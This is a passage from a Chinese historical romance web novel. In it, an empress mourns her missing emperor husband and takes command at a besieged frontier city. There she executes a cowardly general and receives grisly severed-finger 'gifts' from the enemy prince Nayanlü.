裴令仪离京之前,毫无征兆,他除了粘人以外没有什么特别的。 他处理政务的时候,元韫浓就仰躺在他腿上看奏章。 但是裴令仪总是看着看着就望向元韫浓,元韫浓觉察到他的视线,也不会拆穿。 裴令仪弯下腰,凑在元韫浓耳边,“阿姊,我想到一首诗。” 元韫浓用鼻音回应了一声:“嗯?” “结发为夫妻,恩爱两不移。”他轻声道,勾了元韫浓的一缕发丝。 “不是结过发了吗?”元韫浓问。 “是,下一句是……”裴令仪轻笑道,“欢娱在今夕,嫣婉及良时。” 今夜正是你我欢娱之时,相依相伴,切莫负这良辰美景。 “好啊。”元韫浓也笑起来,伸出手臂揽住了裴令仪的脖颈,“可别辜负了良辰美景。” 裴令仪笑着吻下来,两个人坠入了柔软的绫罗绸缎之中。 裴令仪在离京前时常提起结发为夫妻,恩爱两不疑。 元韫浓只以为他是惶惶不安,如今才想到,那美好的两句诗后面紧随而后的含义。 分明就是即将远行的征夫起身去看夜色多深,将要依依惜别。 此去征战,重逢难料,执手相看泪眼,长叹生离别。 所以请妻子尽情爱春日繁花,不要忘记欢乐的时候。 再告诉妻子,若能生还,定当归来团聚。 若是死去,也会永永远远地思念你。 完完全全就是在劝说,生还了就是团圆,哪怕是我死了,也要好好活下去。 风雪呼号着卷过殿外,殿内却死寂一片。 “征夫怀远路,起视夜何其。”元韫浓看着掌心融化的红蜡和字条,轻声念出前两句美好之后,裴令仪未尽的诗句。 红蜡像是血液般顺着她的指掌蜿蜒流下,滴在地上,“参辰皆已没,去去从此辞。” “行役在战场,相见未有期。”她垂眼看着红蜡在地上晕开,“握手一长叹,泪为生别滋。” 元韫浓紧紧地攥住了那张字条,小字仿佛深深刻进掌心,嵌入骨血,“努力爱春花,莫忘欢乐时。” 她轻声道出字条上的诗句:“生当复来归,死当长相思。” 这短短十字,才是真正的与妻绝笔书。 元韫浓望向窗外,窗外雪依旧,却无声息,雪光莹白,从无夜归人。 何处才是春天? 元韫浓深吸了一口气,闭上了眼睛。 “骗子,你回来。” 第123章 我来助你 北凉人每每冲锋前模仿狼嚎,声震四野,杀敌手段又极其残忍,每破一城,便取敌方主将首级悬于旗杆示众。 其心之狠,其行之酷,令人胆寒。 京华的臣子自然有萌生退意的,但是先前被元韫浓杀了一通之后,便不敢了。 进也是死,退也是死,还不如进呢,至少还能留个美名。 北凉围困忻城时,故意纵归老弱伤兵,令其传言“城破之日,男丁为奴,女眷为娼”。 城内人心惶惶之际,北凉却在城下列阵时命一千降卒身着裴军服饰,手持白旗跪于阵前。 守将登城观望,见“自家兵马”跪求活命,误以为援军已降。 他当场惊惶开城投降,竟不知那降卒皆为北凉奴隶假扮。 萧煜尚未反应,忻城已降。 忻城再失,裴军余部受元韫浓令,退至遂城。 元韫浓再整兵,她正愁于应该再派谁去领军支援。 西洲那里,也需要主心骨。 她动了自己前去的意思,但是想到自己身体可能支撑不起这样的舟车劳顿,京华又无人看守,又是两难。 “要不……让元伯父监国吧?”郑女幼从霜降端来的漆盘上端下汤药,递到元韫浓手边。 元韫浓颇为头疼地捏了捏眉心,“不行,父亲是人臣,不会君主之道。” “让我来吧。”一道清亮的声音响起。 元韫浓回头,看到慕湖舟站在殿门前。 他迈步走进来,一身湖蓝色的衣袍,照旧清朗温和,如沐春风般。 慕湖舟站到元韫浓的面前,神情柔和依旧,“如果……你还信得过我的吗?” 元韫浓也站了起来,“你确定吗?表哥。” “我确定,浓浓。”慕湖舟道,“如果你相信我,相信我绝无生乱谋反之心。我是真心想要帮你,想要守住裴。” 元韫浓陷入了一瞬之间的挣扎。 将监国之事交给慕湖舟吗?无论慕湖舟如今如何,无论裴令仪如何对待慕湖舟,从身份上,他们就注定了若有若无的竞争。 她如何确保慕湖舟不会背叛,不会反水? 先前是大权在握,所以她可以信慕湖舟。 但如果真的将京华都交给慕湖舟,她还可以信慕湖舟吗? 就算她信慕湖舟,她也能确保慕南余脉不会怂恿慕湖舟,在暗中生事吗? 元韫浓复杂地看着慕湖舟。 慕湖舟的眼神有些哀伤,他轻声道:“信我。” 元韫浓闭了闭眼,握住了他的手,“好,我信你。” 慕湖舟微微一怔,似乎他自己也没有料想到元韫浓会真的信他。 他低着眼睛,睫毛微微颤动,好像是不敢与元韫浓对视。 良久过后,他终于抬眼与元韫浓四目相对。 像是隔了太久的漫长与感动,他缓慢地点了一下头,“我来助你。” 元韫浓将家国大事交予慕湖舟来处理,由慕湖舟暂且代为监国,这不仅使得支持裴的臣们人心动荡,纷纷上奏请元韫浓收回成命。 哪怕是岐王,他也来劝说元韫浓,说出了这其中,这背后的隐患。 “父亲,若非朝中无人可用,我也不必兵行险招。”元韫浓无奈道,“毕竟如今朝中,都是将才,不是帅才。” 岐王沉默。 元韫浓道:“我信表哥,但以免万一,还请父亲和三姐替我看着,女幼和沈川也会留在京中,若有一万,可就地格杀。” 岐王见她早已心中有决断,无奈叹息。 他既是无奈,隐含欣慰,又有些惆怅,“应怜已经长大了,为父理应该放心该欣慰的。可是看着你,却又总是放心不下。” “为父知道你心中既有打算,那便是无论如何也不会回头了。可为父还是得劝你,如今的西洲,已经成了真正的埋骨之地。”他道。 看着女儿依然苍白柔弱的面庞,从中依稀能够分辨出几分与惠贞长公主相似的模样。 岐王闭眼,“五郎如今生死未知,多少人折在那里,你自幼体弱,此番山高路远,边境苦寒,你的身体如何能够支撑得起?那颜律诡诈无常,北凉兵强,屡战屡胜,我儿啊……” “父母记挂子女,那是人之常情。爹爹放心,进许是死,但退也是亡。”元韫浓望向父亲已经斑白的鬓发,“就让女儿去吧。” “好。”岐王终归还是点头了。 他望向在缥缈风雪之外的孤峰远山,“这江山分分合合,终究是归少年。” 元韫浓出发的那一日,臣子们前来相送。 其实他们也不是很信任元韫浓,毕竟那么多久经沙场的将军都在那里折戟沉沙。 但他们此刻也别无选择了。 元韫浓带走了孙鹃纨。 辇车两侧,早已集结完毕的骑兵开路,沉重的马蹄踏碎宫道薄冰,经过森严的宫门,经过寂静的皇城,向着西北方,向着那片埋葬了太多的风雪之地滚滚而去。 沉重的车轮在冻土上留下深刻的辙痕,如同巨兽爬行的爪印。 车外,是铅灰色的天空和呼啸的北风。 风卷着细碎的雪粒,扑打在车壁上,发出沙沙的、如同砂砾摩擦的声响。 元韫浓闭目养神,齿间带着铁锈般的血腥味。 舟车劳顿,天寒地冻,还是让她有些难以支撑了。 霜降跪坐在一旁的小几边,正小心翼翼地煮着茶。 红泥小炉上,银铫子里的水发出细微的咕嘟声,苦香混合着茶气弥漫开来。 “殿下。”霜降的声音带着一丝不易察觉的担忧,她将一盏热茶轻轻推到元韫浓面前,“喝口热茶暖暖身子吧,路途还长。” 元韫浓端起茶盏,温热的瓷壁熨帖,指尖冰凉。 茶汤澄澈,映出她毫无波澜的眼眸。 热意入喉,元韫浓的声音透过氤氲雾气,“还有多久到?” 小满朝外看了一眼,“殿下,按现在的速度,明日黄昏前应可抵达。” 霜降低声补充道:“京中慕侯遣快马送来密报,已按殿下旨意,粮秣军械征调顺利,各州府丁壮名册也已汇总。只是……” “说。”元韫浓平静道。 “朝中臣子有递了告病的折子,闭门不出的,似乎是以此表示征收钱粮的不满。”霜降回答。 元韫浓轻轻吹开茶汤上浮着的茶沫,嘴角勾起一丝冷淡的弧度,“由他们去。” 她将茶盏放下,“告诉本宫,该征的粮,一粒不能少。该调的兵,一个不能缺。若有延误,不必报我,按战时律令,该抄家抄家,该杀头杀头。” “是。”霜降应声。 车辇终于在黄昏的余烬里,抵达了西洲。 玉涵关已经是最后一道雄关,城墙依山而建,巨大的条石在暮色中呈现出一种冷硬。 关墙之上,残留着明显的刀劈斧凿、烟熏火燎的痕迹,可见先前的攻防惨烈。 城楼上,大裴的旗帜在凛冽如刀的朔风中猎猎翻卷。 元韫浓探出车窗,往外望去,闻到的是硝烟、血腥和焦糊混合的气味。 关城之下更是触目惊心。 临时搭建的简陋营帐密密麻麻地蔓延开,几乎看不到边际。 无数衣衫褴褛、面黄肌瘦的人蜷缩其中瑟瑟发抖。 伤病者的呻吟、孩童饥饿的啼哭、妇人压抑的啜泣,在冰冷的暮色中沉沉浮浮。 来不及掩埋的尸体草草覆盖着破草席,堆叠出一个个散发着恶臭的坟丘。 在兵士沉默森严的簇拥下,一行人进入遂城洞开的高大城门时,前来迎接的守将和残存的官员们,脸上除了恐惧,只剩下麻木。 为首一人身着甲胄,身后跟着几名属官,个个眼神躲闪,腰背佝偻。 “末将率留守诸将、官吏,叩见皇后娘娘!娘娘万岁!”守将声音嘶哑,率先跪倒在地上,额头触地。 身后稀稀拉拉的官员们也慌忙跟着跪下,喊出的“万岁”声参差不齐。 西洲离着京华远,他们能知道呼万岁,看来没少关注京华。 车门打开,寒风裹挟着关外特有的粗粝雪沫和浓重的血腥焦糊味,瞬间涌入车内。 元韫浓并未立即下车,目光扫过跪在车前的一片黑压压的人头,扫过萧条的街道,扫过远处城楼上那些疲惫不堪、眼神空洞的守军士兵。 她的声音平静无波:“本宫记得,遂城守将如今是萧煜。” 守将险些难以维持的恭敬表象,几不可察地一僵,伏得更低:“回禀娘娘,裴九将军同陛下一并不知所踪,元将军前去寻找陛下,至于萧煜将军……先前忻城一战,萧煜将军受了伤,此刻正在包扎……” “哦?”元韫浓微微挑眉,声音里听不出喜怒,“所以,如今你便是此地最高将领?” “是……是。”守将的声音更低。 “那本宫问你。”元韫浓的声音陡然转冷,“关外哀鸿遍野,这些百姓,为何不入关安置?任由他们在风雪之中冻饿而死?” 守将猛地一抖,额头的冷汗瞬间涔涔而下。 他身后的官员更是吓得魂飞魄散,抖如筛糠。 “娘娘恕罪!”守将磕头,“非是末将不愿!实在是……实在是关内粮草早已告罄!存粮连守军都只能勉强支撑,实在无力接纳如此多的流民啊!” 他言之凿凿,仿佛相当有理有据:“一旦开城放入,遂城内必生大乱!届时北凉铁骑若至,遂城危矣!末将也是为了大局着想,不得已才……” “不得已?”元韫浓轻嗤一声,“好一个不得已!那先前北凉游骑屠戮关外三十里,王家庄、郭家村百姓千余口,妇孺老弱,无一幸免之时,你在何处?” “末将……”守将飞速思索着。 元韫浓替他说了:“事发之时,你率五百巡边精骑,就在十里之外。” 守将面上血色尽失,惨白如纸。 元韫浓的目光如同实质的冰锥,“那时候北凉就已逼近忻城,而后不过数个时辰,北凉令奴隶伪装我军模样,在城下投降。当时忻城守将受骗,开城门投降,忻城被屠。” “其后忻城守将被萧煜下令而斩,他是逃兵,那你是什么?”她问。 守将身子抖得厉害,却一句话都说不出来。 元韫浓一字一句,清晰无比:“你就在十里之内,既见烽火,为何不救?闻惨嚎而按兵不动?” 她质问:“为何眼睁睁看着北凉人屠尽两村,再屠忻城,掠走所有牲畜粮秣,扬长而去?” 城门前一片死寂。 只有呼啸的寒风卷过,吹得人骨头发冷。 那些原本麻木跪拜的官员,此刻都惊恐地抬起了头,难以置信地看着守将。 遂城上下的士兵,也投来了震惊、愤怒、鄙夷的目光。 守将嘴唇哆嗦着,想要辩解,却一个字也吐不出来。 “为何不答?”元韫浓冷声问道。 “末将……末将……”守将瘫软在地,涕泪横流,“末将该死!是末将贪生怕死!以为……以为只是小股游骑骚扰,不敢擅自出击,恐中北凉人调虎离山之计!” “末将罪该万死!求娘娘开恩!”他磕头求饶。 真相如同脓血般,后面的狡辩都已经不重要了。 “来人。”元韫浓面无表情,“临阵畏敌,见死不救,纵敌屠戮,当斩。” 一直按刀侍立在元韫浓身旁的孙鹃纨一步踏出,眼神冰冷,招了招手。 身后的人跃了出来,拿下了守将。 元韫浓道:“将其头颅悬于城墙三日,以儆效尤。其麾下亲兵凡六品以上军官,尽数拿下,严加审讯,有同谋或知情不报者,同罪论处。” “是。”众人应声。 “娘娘饶命啊!末将知错了!”守将的哭嚎在寒风中迅速远去。 跪在地上的官员们抖得更厉害了,头死死抵着冰冷的地面,连大气都不敢喘。 元韫浓并未理会他们,就在这时又传来一道呼喊:“报——” 一名斥候冲过来,扑倒在距离元韫浓不远处,被孙鹃纨拦下。 “启禀殿下!关外五发现北凉游骑!他们送来一个箱子,说是那颜律殿下的礼物!”斥候气喘吁吁道。 “箱子呢?”孙鹃纨狠狠皱眉。 “在城外不远!他们……他们放下箱子就跑了!”斥候指着城外方向。 第124章 被惯坏了 “取来。”元韫浓声音紧绷。 她可不认为那颜律会送来什么好东西。 “是!”孙鹃纨亲自点了一队精锐前去。 孙鹃纨速度很快,只是回来时脸色铁青。 箱子被放在车辇前。 黑布包裹着的箱子似乎弥漫开一股令人毛骨悚然的淡淡血腥味,还有另一种难以言喻的气息。 元韫浓走下车辇,到箱子前。 她看向孙鹃纨,孙鹃纨咬了咬牙,“殿下,凭我感觉,里面怕是什么断肢断臂之类的。” 而且孙鹃纨多年以来的经验告诉自己,这里面的东西恐怕是出自于非常年轻的身体上。 元韫浓闭了闭眼,“打开。” 孙鹃纨只能掀开黑布,箱内铺着一层粗糙的麻布上面是满满一箱子孩童的断指。 属于不同年龄的孩子,但同样稚嫩,断口同样狰狞,皮肉翻卷,呈现出暗红发黑的色泽。 有些指头甚至还很细小,如同初春的笋尖。 它们杂乱地堆叠在一起,如同被随意丢弃的垃圾一样。 霜降发出一声短促的惊喘,声音戛然而止,仿佛被扼住了似的。 小满立即上前,挡在元韫浓前面。 周围的士兵,有人别过头去,有人死死攥紧拳头,有人眼中布满了血丝。 跪在地上的官员抖得如同风中残烛,只剩下无边的恐惧和恶心。 元韫浓一动不动,脸上没有任何表情,无声地攥紧了掌心。 那颜律…… 好!很好! 一阵马蹄声由远及近,打断了寂静,蹄声迅疾,带着一种不同寻常的焦灼。 “报——”又一斥候来报,“启禀殿下!前方哨骑急报!发现北凉游骑小队踪迹!约三十余骑,距我前锋不足五里!” 简直是嚣张至极!孙鹃纨气得咬牙。 元韫浓眸光一凝,“他们什么意图?” “他们……打着一面素白的旗帜。”斥候的声音压抑着怒火,“为首者声称奉那颜律之命,有礼呈献,专门赠予殿下,还说……” 有这一箱孩童断指在先,这后头的大礼必然更是残忍。 众人顿时升起一股极其不祥的预感。 斥候的声音抖得不成样子,带着巨大的恐惧,几乎说不下去。 “说什么?”孙鹃纨怒问。 自从来了遂城之后,她真是一事比一事还要怒火攻心。 北凉人攻破北州,连下西洲两城。 萧煜因为先前忻城守将投降而重伤,如今遂城守将又是见死不救的逃兵。 北凉人还上赶着来挑衅,先送了一箱孩童断指,紧随其后又来送什么“大礼”。 斥候猛地抬头,“说请殿下务必仔细看看,这回的大礼跟上回有莫大关系!请殿下万勿错漏!” 元韫浓半眯起眼睛,朔风如刀,卷起残雪,雪雾迷蒙,远处一队人正疾驰而来,越来越清晰。 确实是北凉装束,约三十余骑,打着那面刺眼的素白旗帜,在灰暗的天空下猎猎翻飞,如同招魂幡。 真是太嚣张了!就这么点人,还敢在这会上遂城门前来挑衅。 裴军立刻列阵在前,数千铁骑鸦雀无声,冰冷的槊锋直指前方。 孙鹃纨按刀立于阵前,满心怒气。 北凉游骑在距离阵前几米处勒马停下。 为首一人脸上带着北地风沙磨砺出的粗粝和粗犷,脸上刀痕遍布。 他以一种毫不掩饰的轻蔑眼神,越过孙鹃纨和军阵,上下打量了一眼元韫浓。 孙鹃纨真是恨不得现在就上去砍了他。 “看来你们南边是真的没人了啊,竟然让一个女人来守门了?哈哈哈!人家是什么天子守国门,君王死社稷,你们是君王死沙场,皇后守国门是吧?”他大笑起来。 孙鹃纨更想砍他了。 “奉我北凉王上之命!”那北凉头目赤裸裸地挑衅道,“特来向大裴的皇后,献上问候与大礼!” 他身后的人高举起一个用黑布包裹、四四方方的匣子。 跟方才的箱子大同小异,只是小了不少。 “我们王上说了!此乃大裴皇帝裴令仪的贴身之物!请皇后笑纳!”他故意咬字重了几分。 孙鹃纨按在刀柄上的手背青筋暴起,指节捏得发白,发出咯咯的轻响。 霜降脸色煞白,扶住了元韫浓的手臂。 元韫浓抬手,轻轻拂开霜降的手。 她脸上没有表情,仿佛所有的惊涛骇浪都死死压在底下。 “呈上来。”她的声音不高,却清晰地穿透了风声和压抑的怒意。 那北凉头目脸上的得意更甚,他催马向前几步,在愤怒的目光注视下,将木匣抛给一名迎上前的兵士。 兵士双手接过,如同捧着烧红的烙铁般,一步步走回来。 木匣被恭敬地呈到元韫浓的面前。 黑布包裹着的匣子,依然散发着若有若无的血腥气。 元韫浓闭了闭眼,心下有了准备。 她伸出手,所有视线都集中到了她的手上。 元韫浓扯下黑布,打开了盖子。 匣子里赫然是一截手指。 一截男人的手指,修长,骨节分明,或许是曾经执掌朱笔批阅奏章,或许是曾经紧握缰绳策马疆场,又或许是曾经无数次地拂过她的发梢。 断指旁边是一张手帕,相当眼熟。 元韫浓能依稀记起来,这似乎曾经是她的手帕,在年少时哪一日清晨看裴令仪跟元彻回对练,她替裴令仪暂且包扎磨出血痕的掌心时候用的。 手帕都已经旧了,裴令仪一直留着,竟如此珍爱。 此刻却在一截冰冷的断指边,如同嘲弄和战书,被盛放在这个简陋的盒子里,送到了她的眼前。 或许是天太冷了,冷到冻结了四肢百骸,也冻结了周围的一切。 孙鹃纨的身体猛地一震,死死盯着那张和断指,握刀的手颤抖,恨不得将眼前所有北凉人碎尸万段。 她是见过裴令仪对这手帕如何珍爱的,难道裴令仪真的死了吗? 最刺目的,是在断指和手帕边上,端端正正地放着一张折叠起来的粗糙羊皮纸。 元韫浓缓慢地伸出手,带着一种近乎麻木的平稳,拈起了那张纸。 展开上面是几行用鲜血书写的字,歪歪扭扭却充满了恶意。 大裴皇后亲启: 此间稚子,皆乃大裴北境忠良之后。父母祖辈不识好歹,妄图螳臂当车,已被本王尽数屠尽。父债子偿,天经地义。稚子无辜,留之无用,徒耗粮米,故代皇后处置。 此礼略尽心意,前礼仓促,恐皇后忧心故人,寝食难安。特再奉上薄礼,以慰芳心。 这条手帕,本王观之甚喜,不知其主人可还安好?若皇后思念心切,不妨早日启程应战,或是早些自刎。 届时,或可夫妻团聚。 一股腥甜涌上喉头,元韫浓强行咽了回去,指甲深深掐入掌心。 至少不能在此刻倒下。 她死死攥着那张染血的羊皮纸,指节因用力而泛白,盯着那“夫妻团聚”四个字。 她托元彻回送的白玉圆月项链,甚至没有送到裴令仪手上。 元韫浓拈起了那条手帕握在了掌心里,合上那个装着断指的盒子。 “小满。”元韫浓的目光平静,如同看着一件无关紧要的物件,“去埋了。” “……是。”小满接过匣子。 元韫浓抬起头,目光越过那个满脸得意的北凉头目,投向更遥远的北方。 “至于他们……”她道,“一个不留。” 最后一个字落下,兵士们猛地拔出腰间长刀,刀锋一道刺目的寒芒,如同离弦之箭,策马狂飙而出,攻向北凉人。 马蹄如雷,杀声震天。 方才还在得意洋洋的北凉头目,脸上的狞笑瞬间被惊惧取代。 他们拨马想逃,却早已来不及了。 这些人蔑视大裴,轻视元韫浓,甚至于几十人的游骑就敢前来挑衅。 他们甚至自傲到认为大裴会忍气吞声,不杀他们,又或者是认为他们来得及逃离。 他们的屡战屡胜带给他们太大的错觉,真认为北凉已经在世间无可匹敌。 刀光闪烁,血色迸溅,毫无悬念的战斗。 仅仅片刻便只剩下死寂,三十余具北凉人的尸体横七竖八地倒在血泊之中,无主的战马四处走来走去。 浓重的血腥味在寒风中蔓延,数名兵士将敌人的头颅插在长矛矛尖上,粘稠的鲜血顺着矛杆缓缓淌下。 元韫浓站在车辇前,大氅在风中猎猎作响。 “回城。”她的声音穿过血腥的风,没有任何情绪。 城门在身后轰然关闭,敌人的头颅插在枪尖上在城墙上示威,这片刚刚被鲜血浸透的冻土,尚未凝固的血泊也会很快被冻结。 重新回到遂城之内,元韫浓表现得都很平静,平静到孙鹃纨担心。 元韫浓甚至冷静地去看了重伤的萧煜,萧煜状态不错,就是看着元韫浓,怎么看怎么担心。 元韫浓还处理了遂城的事务,安排好了后续的部署。 直到忙碌的一切都大致做完,元韫浓才停下来。 而外面早已一片漆黑,北风卷地白草折,萧瑟无比。 孙鹃纨终于得了空,跟在元韫浓身后,小心翼翼地问:“殿下?” 她的情绪都激烈至此,难道元韫浓就能够如此风轻云淡吗? 她很担心。 她担心元韫浓心绪起伏太大,而伤了身子。 元韫浓依然平静,甚至语调温和地应了一声:“嗯。” 孙鹃纨更担忧了,“殿下,北凉诡诈无常,当初就拿哑奴的断指诓骗陛下,前来挑衅。这回说不定也是故技重施呢?” 她其实自己都无法说服自己。 因为得多幸运,又是多大的可能,才能叫裴令仪重伤之下坠入冰河里还能死里逃生,又恰好被北凉人捡到了贴身携带的手帕,还再砍下别人的手指来骗他们? “无论清都是死是活,那箱孩童的断指总不是假的,大裴已失北州,再连失数城也不是假的。”元韫浓道。 周围不知道是谁在唱歌,声音幽幽,满是悲痛。 “华山畿,华山畿。” “君既为侬死,独生为谁施?” “欢若见怜时,棺木为侬开。” 孙鹃纨一个激灵,恼羞成怒,“是谁大半夜唱这种歌!?” 什么你既为我而死,我独活又是为谁? 又是什么你若怜惜我,让棺木为我打开? 什么跟什么! 这会唱什么华山畿! 元韫浓转头对孙鹃纨说:“你放心吧,我没事,也不至于说相随而去。” 她不是虞姬,也不是霸王,不会不敢过江东,更不会殉情。 裴令仪才是。 可惜先死的是裴令仪。 尽管她不愿意相信,也不相信裴令仪会死。 她一直都认为,裴令仪要死也该死在她手里。 即使是她最恨裴令仪的时候,她也是那么想的。 她不允许别人夺走裴令仪的生命,因为那是她的特权。 孙鹃纨不知道该说什么了,想劝也无从下口。 元韫浓问:“还有什么事吗?” 孙鹃纨说不出话,只有沉默地摇头。 “那你回去歇息吧,操劳了一整日了。”元韫浓说道。 她的声音难得轻柔:“西洲是你的家,回到故乡,可以好好睡一觉了。之后的日子,还长得很呢。” 孙鹃纨只得告退,一步三回头地走了,才见元韫浓没什么异常地回去。 元韫浓平静地回了遂城备下的房间,自然比不得极尽珍宝堆砌的凤仪宫,也比不上岁浓院。 她孤坐在案前,看着案上的舆图,摊开掌心,手里还攥着那张手帕。 讲真的,元韫浓都不记得了,不记得这张手帕源自何处,最初的模样又是如何。 甚至连她如何将这张手帕绑在裴令仪手掌上的记忆都有些模糊了,她只记得是裴令仪跟元彻回赌气练剑的时候受了伤。 那会……那会好像还是裴令仪赢了。 那时候尚且青涩的,没有经验的裴令仪。 可是她都已经不记得了的东西,裴令仪竟如此珍爱。 裴令仪一直都是这样,从手帕到永生花,她随手赠与的每一样东西,裴令仪都无比爱惜。 冰凉的意味缓慢地蔓延开来,元韫浓合上双眸,说不清,道不明到底是什么滋味。 她憎恶那颜律,也恨裴令仪。 恨裴令仪弃她不归。 恨这个人,似乎都成为了她两世的惯性。 她才仿佛发现,她被裴令仪惯坏了。 再次收拢掌心,元韫浓将手帕紧紧攥住。 就当她本性坏。 第125章 奉陪到底 元彻回在得到元韫浓已至遂城的消息之后,连夜带着那一小队人返还。 他已经带人将川流下游一带都找遍了,甚至连上游都去看过了,但偏偏就是不见人。 元韫浓仍然抱有一丝微乎其微的希冀,期待元彻回带回来的是好消息。 辇车停在城门口,几名兵士在旁沉默伫立,如同雕塑。 她原本就在病中,舟车劳顿行路远,心绪不宁大悲大恸之下,病得更重。 即使是等待元彻回回来,她也是在车内避风寒。 “殿下,世子回来了。”小满上车禀报。 元韫浓披着厚重的大氅,被霜降搀扶下车。 她的目光穿透翻卷的雪尘,今年的春天怎么来得如此迟呢? 明明是初春了,冰川未曾消融,而雪也依然飘落。 孙鹃纨沉默地护卫在侧,所有人看向远处逐渐靠近的一队人马。 元彻回在几尺之外勒马,翻身下马,冲了过来,“应怜!” 元韫浓快步迎上去,元彻回托住了妹妹的手臂,“你不该来的……” “找到了吗?”元韫浓问。 元彻回一时失言,沉默许久之后才道:“我已经带人仔细搜寻过数遍,但并无尸首……附近猎户推测,极有可能是被下游一带的野兽给……” “阿兄……”元韫浓抓着元彻回的铠甲,琥珀般的眼眸里终于涌出眼泪来,“阿兄,你再说一遍,他怎么了?” 元彻回身后的人都回避了和元韫浓的对视,他们都沉默地低下了头。 没有人敢,没有人忍心告知真相。 元彻回艰难地说道:“五郎……多半是遭遇不测了。” 尸骨无存。 曾经八百里加急的军报上所写的字,此刻被残酷地印证。 “应怜,你不能乱……”元彻回哑声说道,抬手擦掉元韫浓的眼泪,“我们还是找到了东西的。” “但只有这个。”元彻回将一块巴掌大小的护心镜递到元韫浓面前。 染满污血的青铜护心镜扭曲变形,显然承受过巨大的冲击,表面布满了刀劈斧凿的深刻划痕。 内侧用极细的金丝嵌着一个几乎难以辨认的小字“浓”。 元韫浓曾经还笑过裴令仪,自己护心镜不用自己的名字,用她的名。 指尖无意识地描摹着那个模糊的“浓”字,喉头涌上熟悉的腥甜,又被元韫浓死死咽下。 “还有这条项链,是我来迟,还没来得及交予他……”元彻回将那条白玉圆月项链,也送到了元韫浓的掌心里。 元韫浓闭眼,握紧了白玉坠子。 团圆……何时能团圆? “报——”一声急促而尖锐的呼喊,伴随着杂乱的马蹄声疾驰而来。 一名玄斥候几乎是翻滚下马,扑倒在雪地里,“殿下!北凉大军在关外正向遂城移动!打头阵的正是那颜律本人!” “戒备!”元彻回反应迅速,立刻吼道。 城外精锐瞬间反应,纷纷退至城内,长槊平举,弓弩上弦。 一群手持盾牌的兵士,在孙鹃纨的带领下,护送着元韫浓登上城墙。 风雪迷蒙的远处,一支庞大的、如同黑色潮水般的队伍正缓缓逼近。 北凉人特有的狼头旗帜在风中狂舞,北凉大军在城门前缓缓停下。 北凉军阵如同潮水般向两侧分开,让出一条通道。 一个身影走出,熟悉的面孔。 那颜律的目光精准地落在了元韫浓身上,“许久未见,朝荣郡主——哦,现在是大裴的皇后了,别来无恙啊?” 元韫浓面色阴沉。 “哈哈哈哈——”那颜律毫不掩饰地嘲讽,“大裴的皇后,我先前送上的大礼,你可还满意?可曾让你夜不能寐?” 笑声激起一片压抑的怒火。 元韫浓站在原地,脸上没有表情,隔着风雪,平静道:“那颜律,礼尚往来,你若是死了,本宫会为你收尸的,不会叫你的尸骨被野狗啃食。” 她会将那颜律悬在城墙上晒成人干。 “收尸?”那颜律的笑声戛然而止,“收谁的尸?裴清都的?” 指甲深深陷入掌心,元韫浓的声音却依旧平静无波:“看来你是很忌惮清都啊?能如此畅快。” “牙尖嘴利,皇后的嘴很硬啊?”那颜律半眯起眼睛。 “哦,对了!”他像是突然想起了什么,语气再次变得玩味起来,“皇后可知,我能送上你那份大礼,是花了多大功夫吗?” 他故意拖长了语调,充满了恶意的嘲弄:“我派人找了很久才找到他,啧啧,可惜啊,他连块像样的骨头都没了!” 元韫浓都快分不清寒气还是腥气了,“你对他做了什么?” “我吗?可别冤枉我啊,我还没来得及做什么呢。你应该感谢我,感谢我把他从冰冷的川流里捞了出来,让他不至于被泡得更加面目全非。”那颜律似乎是对元韫浓的反应感到满意,笑得更欢了。 “我倒是想把他作为完整的礼物送给你,奈何他已经被冰水泡发了,连认都认不出来,我只能砍下他的手指来送你。”他的声音充满了残忍的戏谑。 元韫浓紧盯着他,指尖发抖。 那颜律笑了笑,“别生气啊,至少从他的盔甲和那张手帕,能认得出来是他吧?” “那颜律。”元韫浓的声音反而带上了一种如同金玉碎裂般的清越与冰冷,奇异的冷静了下来。 她的声音穿透风雪,“你以为,凭这寥寥数语,凭这些下作的手段,就能动摇本宫吗?” “元应怜,你果然心狠。”那颜律眼底闪烁着危险的光芒,“同床共枕之人沦落到尸骨无存的地步,你都能如此冷静。” 他转过头对身边的副将笑:“瞧见了没有?我当初就说她比裴清都狠。” 攻心为上,不战而屈人之兵。 他自认为换做任何人来都会动摇,但偏偏元韫浓是个狠心的人。 “好玩吗?”元韫浓问。 众人的视线又落回了她身上。 “你想玩?”她的目光如同淬了冰的利刃,“本宫奉陪到底。” 话音刚落,那颜律就见元彻回抬手。 他瞳孔一缩,立即吼道:“护!” 盾牌应声立起,与此同时的是万箭齐发的箭矢。 雪尘卷过嶙峋的山脊,发出凄厉的呜咽。 遂城之前一片狼藉,城门前到处都是断裂的刀枪、碎裂的甲胄、冻僵的战马尸体。 空气里弥漫着浓得化不开的铁锈味和冰雪的凛冽气息,沉甸甸的。 北凉久攻不下,见死伤太多,不得不暂时退兵。 大裴即使是好不容易守下了遂城,但状况也不容乐观。 再这么耗下去,只有两败俱伤了。 何况那颜律狠辣果决,斩草除根,一旦抓住俘虏,后果相当惨烈。 此番战罢,北凉又将裴军首级垒成“京观”,积尸封土,竖木牌书“降则生,抗则死”。 无论哪一国的人,凡是途经,见京观鸦群蔽日,皆不敢正视。 元韫浓只得下令,凡是被俘虏,自觉无生还希望者,尽早自尽,以免多受苦难。 元韫浓倚在虎皮榻上,捏着军报,指节泛着病态的青白。 她不得不再用寒食散来维持清醒,来缓解病痛。 尽管身边人反复劝,好说歹说,但是没人能劝得了元韫浓。 他们也无法反驳元韫浓,因为在元韫浓看来,亏空身体比起直接战败亡国好多了。 至少一个能保住性命。 元彻回为此跟元韫浓大吵一架,在这里的都是下属,只有他是元韫浓兄长。 但他也没说服元韫浓,元韫浓在病中,他更不忍再说。 元韫浓强撑着精神审阅军情。 从制定战略到安抚军心,从勘察地形到调配粮草,都要过问。 白日里,她要与将领们商讨作战方案。 夜半三更也要研究沙盘,推演各种可能的战况。 她并非帅才,也非将才,在战事上只能凭借一些小聪明。 案头的铜炉飘着艾草气息,霜降将汤药递到元韫浓手边,“殿下,药煎好了。” 元韫浓端起药碗,闭了闭眼,仰头一饮而尽。 药汁的苦涩在舌尖弥漫开来,她忽然剧烈咳嗽起来,帕子掩住唇时,指缝间渗出的血珠洇开在素白的绸缎上。 “殿下!”霜降吓得魂飞魄散。 元韫浓顿了一下,随手将帕子丢入炭盆中,仿佛这只是寻常之事。 “殿下,北凉又在关外滋事,萧将军请您过目最新战报。”亲兵的声音在外头响起。 霜降看着元韫浓都要掉眼泪了,“殿下这身子,怎经得起这般折腾?” 